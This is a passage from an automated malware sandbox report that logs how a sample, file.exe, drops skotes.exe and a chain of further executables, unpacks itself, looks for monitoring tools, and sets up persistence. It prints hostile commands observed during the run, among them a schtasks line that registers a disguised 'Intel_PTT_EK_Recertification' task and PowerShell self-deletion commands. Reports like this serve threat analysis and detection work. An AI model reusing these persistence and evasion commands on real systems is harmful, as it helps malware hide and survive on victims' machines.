Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 3092992 > 1048576

Source: file.exe

Static PE information: Raw size of xyuqnuvx is bigger than: 0x100000 < 0x2c1800

Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdb source: d59846009d.exe, 00000033.00000002.3004074654.00000000036C3000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdbSHA256\u source: d59846009d.exe, 00000033.00000002.3004074654.00000000036C3000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000006.00000002.3094333474.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000000.2785684723.0000000000382000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000006.00000002.3094333474.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000000.2785684723.0000000000382000.00000002.00000001.01000000.00000015.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W;xyuqnuvx:EW;imowcfit:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xyuqnuvx:EW;imowcfit:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W;xyuqnuvx:EW;imowcfit:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xyuqnuvx:EW;imowcfit:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W;xyuqnuvx:EW;imowcfit:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xyuqnuvx:EW;imowcfit:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W;xyuqnuvx:EW;imowcfit:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xyuqnuvx:EW;imowcfit:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: random[2].exe1.6.dr

Static PE information: 0x94370F66 [Sun Oct 18 12:19:50 2048 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0xd9d82 should be: 0xdfd9a
Source: 2d28fff282f940b9a303e100d9504cbd.exe.51.dr	Static PE information: real checksum: 0x10c5c5 should be: 0x10b49f
Source: 7z.exe.20.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: 8b67fa16f7.exe.6.dr	Static PE information: real checksum: 0x45151d should be: 0x4497ae
Source: 331488c9a5.exe.6.dr	Static PE information: real checksum: 0x44ba7f should be: 0x449f17
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: 01d781eb0f.exe.6.dr	Static PE information: real checksum: 0xd9d82 should be: 0xdfd9a
Source: random[3].exe.6.dr	Static PE information: real checksum: 0x1c6b8f should be: 0x18d4ef
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x3000cc should be: 0x2f7620
Source: f9567e9ef8.exe.6.dr	Static PE information: real checksum: 0x1dbb77 should be: 0x1de99f
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x1dbb77 should be: 0x1de99f
Source: 7z.dll.20.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: 73aaed44cf.exe.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: in.exe.31.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x45151d should be: 0x4497ae
Source: 3477ac361a61484faa59cc92fe88289c.exe.51.dr	Static PE information: real checksum: 0x0 should be: 0x243ba
Source: d59846009d.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: random[2].exe1.6.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: file.exe	Static PE information: real checksum: 0x3000cc should be: 0x2f7620
Source: Intel_PTT_EK_Recertification.exe.33.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: 43a8c4054b.exe.6.dr	Static PE information: real checksum: 0x1c6b8f should be: 0x18d4ef
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x44ba7f should be: 0x449f17

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: xyuqnuvx
Source: file.exe	Static PE information: section name: imowcfit
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: xyuqnuvx
Source: skotes.exe.0.dr	Static PE information: section name: imowcfit
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: qutbxpsa
Source: random[2].exe.6.dr	Static PE information: section name: alacpqgy
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 331488c9a5.exe.6.dr	Static PE information: section name:
Source: 331488c9a5.exe.6.dr	Static PE information: section name: .idata
Source: 331488c9a5.exe.6.dr	Static PE information: section name:
Source: 331488c9a5.exe.6.dr	Static PE information: section name: qutbxpsa
Source: 331488c9a5.exe.6.dr	Static PE information: section name: alacpqgy
Source: 331488c9a5.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: ctmelatg
Source: random[2].exe0.6.dr	Static PE information: section name: qkclmkgb
Source: random[2].exe0.6.dr	Static PE information: section name: .taggant
Source: f9567e9ef8.exe.6.dr	Static PE information: section name:
Source: f9567e9ef8.exe.6.dr	Static PE information: section name: .idata
Source: f9567e9ef8.exe.6.dr	Static PE information: section name:
Source: f9567e9ef8.exe.6.dr	Static PE information: section name: ctmelatg
Source: f9567e9ef8.exe.6.dr	Static PE information: section name: qkclmkgb
Source: f9567e9ef8.exe.6.dr	Static PE information: section name: .taggant
Source: random[3].exe.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name: .idata
Source: random[3].exe.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name: npsrnsek
Source: random[3].exe.6.dr	Static PE information: section name: lghaogpm
Source: random[3].exe.6.dr	Static PE information: section name: .taggant
Source: 43a8c4054b.exe.6.dr	Static PE information: section name:
Source: 43a8c4054b.exe.6.dr	Static PE information: section name: .idata
Source: 43a8c4054b.exe.6.dr	Static PE information: section name:
Source: 43a8c4054b.exe.6.dr	Static PE information: section name: npsrnsek
Source: 43a8c4054b.exe.6.dr	Static PE information: section name: lghaogpm
Source: 43a8c4054b.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: ibyjowhj
Source: random[1].exe1.6.dr	Static PE information: section name: mvafozls
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 8b67fa16f7.exe.6.dr	Static PE information: section name:
Source: 8b67fa16f7.exe.6.dr	Static PE information: section name: .idata
Source: 8b67fa16f7.exe.6.dr	Static PE information: section name:
Source: 8b67fa16f7.exe.6.dr	Static PE information: section name: ibyjowhj
Source: 8b67fa16f7.exe.6.dr	Static PE information: section name: mvafozls
Source: 8b67fa16f7.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name: .eh_fram
Source: 73aaed44cf.exe.6.dr	Static PE information: section name: .eh_fram
Source: in.exe.31.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.33.dr	Static PE information: section name: UPX2
Source: 3477ac361a61484faa59cc92fe88289c.exe.51.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C6D91C push ecx; ret	0_2_00C6D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C61359 push es; ret	0_2_00C6135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D1D91C push ecx; ret	1_2_00D1D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D1D91C push ecx; ret	2_2_00D1D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D1D91C push ecx; ret	6_2_00D1D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D3DEDB push ss; iretd	6_2_00D3DEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D1DFC6 push ecx; ret	6_2_00D1DFD9

Source: file.exe	Static PE information: section name: entropy: 7.98713662841304
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.98713662841304
Source: random[2].exe.6.dr	Static PE information: section name: qutbxpsa entropy: 7.955044109493208
Source: 331488c9a5.exe.6.dr	Static PE information: section name: qutbxpsa entropy: 7.955044109493208
Source: random[2].exe0.6.dr	Static PE information: section name: ctmelatg entropy: 7.948189228198593
Source: f9567e9ef8.exe.6.dr	Static PE information: section name: ctmelatg entropy: 7.948189228198593
Source: random[3].exe.6.dr	Static PE information: section name: entropy: 7.972189895344259
Source: random[3].exe.6.dr	Static PE information: section name: npsrnsek entropy: 7.952713713735275
Source: 43a8c4054b.exe.6.dr	Static PE information: section name: entropy: 7.972189895344259
Source: 43a8c4054b.exe.6.dr	Static PE information: section name: npsrnsek entropy: 7.952713713735275
Source: random[1].exe1.6.dr	Static PE information: section name: ibyjowhj entropy: 7.955270488785443
Source: 8b67fa16f7.exe.6.dr	Static PE information: section name: ibyjowhj entropy: 7.955270488785443

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Jump to dropped file

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019255001\331488c9a5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	File created: C:\nmckayer\3477ac361a61484faa59cc92fe88289c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019257001\43a8c4054b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	File created: C:\nmckayer\2d28fff282f940b9a303e100d9504cbd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019256001\f9567e9ef8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
